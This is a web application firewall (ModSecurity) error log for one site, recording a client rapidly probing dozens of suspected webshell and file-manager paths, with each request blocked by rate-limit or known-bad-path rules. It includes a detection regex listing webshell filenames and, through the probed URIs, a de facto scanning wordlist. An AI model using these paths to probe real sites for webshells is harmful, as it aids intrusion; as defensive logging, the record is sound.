[Thu Dec 11 22:37:21.115287 2025] [:error] [pid 4564:tid 4578] [client 4.194.191.135:13192] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTrXIZjzC8Q_-qV1DxWYZQAAAMs"]
[Thu Dec 11 22:37:21.434317 2025] [:error] [pid 4564:tid 4571] [client 4.194.191.135:13300] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTrXIZjzC8Q_-qV1DxWYawAAAMQ"]
[Thu Dec 11 22:37:21.796143 2025] [:error] [pid 4564:tid 4581] [client 4.194.191.135:13252] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTrXIZjzC8Q_-qV1DxWYbgAAAM4"]
[Thu Dec 11 22:37:22.136627 2025] [:error] [pid 4463:tid 4504] [client 4.194.191.135:13296] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTrXIsWRoGq8qZybgKXfygAAAEg"]
[Thu Dec 11 22:37:22.558469 2025] [:error] [pid 4864:tid 4867] [client 4.194.191.135:13249] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aTrXImVhcrADVU33AP4j0wAAAQE"]
[Thu Dec 11 22:37:22.913896 2025] [:error] [pid 4464:tid 4527] [client 4.194.191.135:13298] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aTrXIk74RHTpQwGFIyZMEQAAAIE"]
[Thu Dec 11 22:37:23.168690 2025] [:error] [pid 4464:tid 4537] [client 4.194.191.135:13285] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aTrXI074RHTpQwGFIyZMEgAAAIs"]
[Thu Dec 11 22:37:23.439634 2025] [:error] [pid 4462:tid 4477] [client 4.194.191.135:13196] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aTrXI8xEbl7Af0FrMT-LcwAAAAg"]
[Thu Dec 11 22:37:23.691184 2025] [:error] [pid 4463:tid 4513] [client 4.194.191.135:13297] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aTrXI8WRoGq8qZybgKXfzwAAAFE"]
[Thu Dec 11 22:37:23.997296 2025] [:error] [pid 4564:tid 4567] [client 4.194.191.135:13271] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aTrXI5jzC8Q_-qV1DxWYdQAAAMA"]
[Thu Dec 11 22:37:24.284254 2025] [:error] [pid 4864:tid 4870] [client 4.194.191.135:13304] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aTrXJGVhcrADVU33AP4j1QAAAQQ"]
[Thu Dec 11 22:37:24.496294 2025] [:error] [pid 4464:tid 4550] [client 4.194.191.135:13227] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aTrXJE74RHTpQwGFIyZMFQAAAJg"]
[Thu Dec 11 22:37:24.888588 2025] [:error] [pid 4462:tid 4487] [client 4.194.191.135:13289] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTrXJMxEbl7Af0FrMT-LdgAAABI"]
[Thu Dec 11 22:37:25.248760 2025] [:error] [pid 4463:tid 4508] [client 4.194.191.135:13185] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTrXJcWRoGq8qZybgKXf1AAAAEw"]
[Thu Dec 11 22:37:25.531952 2025] [:error] [pid 4864:tid 4877] [client 4.194.191.135:13274] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTrXJWVhcrADVU33AP4j3QAAAQs"]
[Thu Dec 11 22:37:25.835827 2025] [:error] [pid 4564:tid 4581] [client 4.194.191.135:13218] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTrXJZjzC8Q_-qV1DxWYewAAAM4"]
[Thu Dec 11 22:37:26.052701 2025] [:error] [pid 4462:tid 4471] [client 4.194.191.135:13308] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aTrXJsxEbl7Af0FrMT-LewAAAAI"]
[Thu Dec 11 22:37:26.269123 2025] [:error] [pid 4463:tid 4518] [client 4.194.191.135:13291] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aTrXJsWRoGq8qZybgKXf2gAAAFY"]
[Thu Dec 11 22:37:26.598317 2025] [:error] [pid 4464:tid 4531] [client 4.194.191.135:13307] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aTrXJk74RHTpQwGFIyZMGQAAAIU"]
[Thu Dec 11 22:37:27.162004 2025] [:error] [pid 4464:tid 4537] [client 4.194.191.135:13275] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aTrXJ074RHTpQwGFIyZMHAAAAIs"]
[Thu Dec 11 22:37:27.526717 2025] [:error] [pid 4864:tid 4885] [client 4.194.191.135:13290] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/fm.php"] [unique_id "aTrXJ2VhcrADVU33AP4j5QAAARM"]
[Thu Dec 11 22:37:28.168929 2025] [:error] [pid 4911:tid 4916] [client 4.194.191.135:13295] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/fm.php"] [unique_id "aTrXKA-tKegTX9jNpJkPzQAAAUI"]
[Thu Dec 11 22:37:28.772905 2025] [:error] [pid 4464:tid 4544] [client 4.194.191.135:13221] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/fm.php"] [unique_id "aTrXKE74RHTpQwGFIyZMHwAAAJI"]
[Thu Dec 11 22:37:29.148733 2025] [:error] [pid 4564:tid 4573] [client 4.194.191.135:13194] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/fm.php"] [unique_id "aTrXKZjzC8Q_-qV1DxWYgQAAAMY"]
[Thu Dec 11 22:37:29.394717 2025] [:error] [pid 4864:tid 4889] [client 4.194.191.135:13191] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aTrXKWVhcrADVU33AP4j6AAAARc"]
[Thu Dec 11 22:37:29.631728 2025] [:error] [pid 4463:tid 4504] [client 4.194.191.135:13229] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aTrXKcWRoGq8qZybgKXf3gAAAEg"]
[Thu Dec 11 22:37:30.253115 2025] [:error] [pid 4911:tid 4923] [client 4.194.191.135:13204] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aTrXKg-tKegTX9jNpJkP0gAAAUk"]
[Thu Dec 11 22:37:30.670770 2025] [:error] [pid 4564:tid 4579] [client 4.194.191.135:13232] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aTrXKpjzC8Q_-qV1DxWYggAAAMw"]
[Thu Dec 11 22:37:31.043825 2025] [:error] [pid 4864:tid 4875] [client 4.194.191.135:13197] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aTrXK2VhcrADVU33AP4j6gAAAQk"]
[Thu Dec 11 22:37:31.427231 2025] [:error] [pid 4564:tid 4575] [client 4.194.191.135:13279] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aTrXK5jzC8Q_-qV1DxWYhQAAAMg"]
[Thu Dec 11 22:37:31.749183 2025] [:error] [pid 4564:tid 4569] [client 4.194.191.135:13199] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aTrXK5jzC8Q_-qV1DxWYhgAAAMI"]
[Thu Dec 11 22:37:32.030013 2025] [:error] [pid 4864:tid 4883] [client 4.194.191.135:13278] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aTrXLGVhcrADVU33AP4j7QAAARE"]
[Thu Dec 11 22:37:32.314432 2025] [:error] [pid 4864:tid 4886] [client 4.194.191.135:13287] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php"] [unique_id "aTrXLGVhcrADVU33AP4j7wAAARQ"]
[Thu Dec 11 22:37:32.851106 2025] [:error] [pid 4564:tid 4587] [client 4.194.191.135:13270] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php"] [unique_id "aTrXLJjzC8Q_-qV1DxWYhwAAANQ"]
[Thu Dec 11 22:37:33.182401 2025] [:error] [pid 4564:tid 4582] [client 4.194.191.135:13260] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php"] [unique_id "aTrXLZjzC8Q_-qV1DxWYiAAAAM8"]
[Thu Dec 11 22:37:33.392562 2025] [:error] [pid 4564:tid 4571] [client 4.194.191.135:13292] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php"] [unique_id "aTrXLZjzC8Q_-qV1DxWYiQAAAMQ"]
[Thu Dec 11 22:37:33.795254 2025] [:error] [pid 4462:tid 4481] [client 4.194.191.135:13261] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aTrXLcxEbl7Af0FrMT-LhgAAAAw"]
[Thu Dec 11 22:37:34.019224 2025] [:error] [pid 4462:tid 4483] [client 4.194.191.135:13209] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aTrXLsxEbl7Af0FrMT-LiAAAAA4"]
[Thu Dec 11 22:37:34.280936 2025] [:error] [pid 4564:tid 4591] [client 4.194.191.135:13198] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aTrXLpjzC8Q_-qV1DxWYigAAANg"]
[Thu Dec 11 22:37:34.516146 2025] [:error] [pid 4864:tid 4871] [client 4.194.191.135:13259] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aTrXLmVhcrADVU33AP4j8wAAAQU"]
[Thu Dec 11 22:37:34.831385 2025] [:error] [pid 4564:tid 4585] [client 4.194.191.135:13152] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aTrXLpjzC8Q_-qV1DxWYjAAAANI"]
[Thu Dec 11 22:37:35.046754 2025] [:error] [pid 4462:tid 4477] [client 4.194.191.135:13213] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aTrXL8xEbl7Af0FrMT-LiwAAAAg"]
[Thu Dec 11 22:37:35.642701 2025] [:error] [pid 4462:tid 4484] [client 4.194.191.135:13263] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aTrXL8xEbl7Af0FrMT-LjgAAAA8"]
[Thu Dec 11 22:37:36.145037 2025] [:error] [pid 4911:tid 4920] [client 4.194.191.135:13162] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aTrXMA-tKegTX9jNpJkP3QAAAUY"]
[Thu Dec 11 22:37:36.430412 2025] [:error] [pid 4462:tid 4474] [client 4.194.191.135:13215] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hoot.php"] [unique_id "aTrXMMxEbl7Af0FrMT-LkAAAAAU"]
[Thu Dec 11 22:37:36.631143 2025] [:error] [pid 4564:tid 4575] [client 4.194.191.135:13250] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hoot.php"] [unique_id "aTrXMJjzC8Q_-qV1DxWYkAAAAMg"]
[Thu Dec 11 22:37:36.931102 2025] [:error] [pid 4462:tid 4469] [client 4.194.191.135:13124] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hoot.php"] [unique_id "aTrXMMxEbl7Af0FrMT-LkgAAAAA"]
[Thu Dec 11 22:37:37.184090 2025] [:error] [pid 4464:tid 4538] [client 4.194.191.135:13241] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hoot.php"] [unique_id "aTrXMU74RHTpQwGFIyZMIwAAAIw"]
[Thu Dec 11 22:37:37.624086 2025] [:error] [pid 4464:tid 4534] [client 4.194.191.135:13206] [client 4.194.191.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aTrXMU74RHTpQwGFIyZMJAAAAIg"]
[Thu Dec 11 22:37:37.888972 2025] [:error] [pid 4564:tid 4589] [client 4.194.191.135:13273] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aTrXMZjzC8Q_-qV1DxWYkgAAANY"]
[Thu Dec 11 22:37:38.155208 2025] [:error] [pid 4911:tid 4924] [client 4.194.191.135:13189] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aTrXMg-tKegTX9jNpJkP3gAAAUo"]
[Thu Dec 11 22:37:38.452511 2025] [:error] [pid 4462:tid 4481] [client 4.194.191.135:13203] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aTrXMsxEbl7Af0FrMT-LlQAAAAw"]
[Thu Dec 11 22:37:38.841314 2025] [:error] [pid 4911:tid 4932] [client 4.194.191.135:13144] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aTrXMg-tKegTX9jNpJkP3wAAAVI"]
[Thu Dec 11 22:37:39.108613 2025] [:error] [pid 4564:tid 4573] [client 4.194.191.135:13208] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aTrXM5jzC8Q_-qV1DxWYlAAAAMY"]
[Thu Dec 11 22:37:39.488724 2025] [:error] [pid 4864:tid 4885] [client 4.194.191.135:13226] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aTrXM2VhcrADVU33AP4j9wAAARM"]
[Thu Dec 11 22:37:39.892584 2025] [:error] [pid 4864:tid 4888] [client 4.194.191.135:13158] [client 4.194.191.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aTrXM2VhcrADVU33AP4j-QAAARY"]
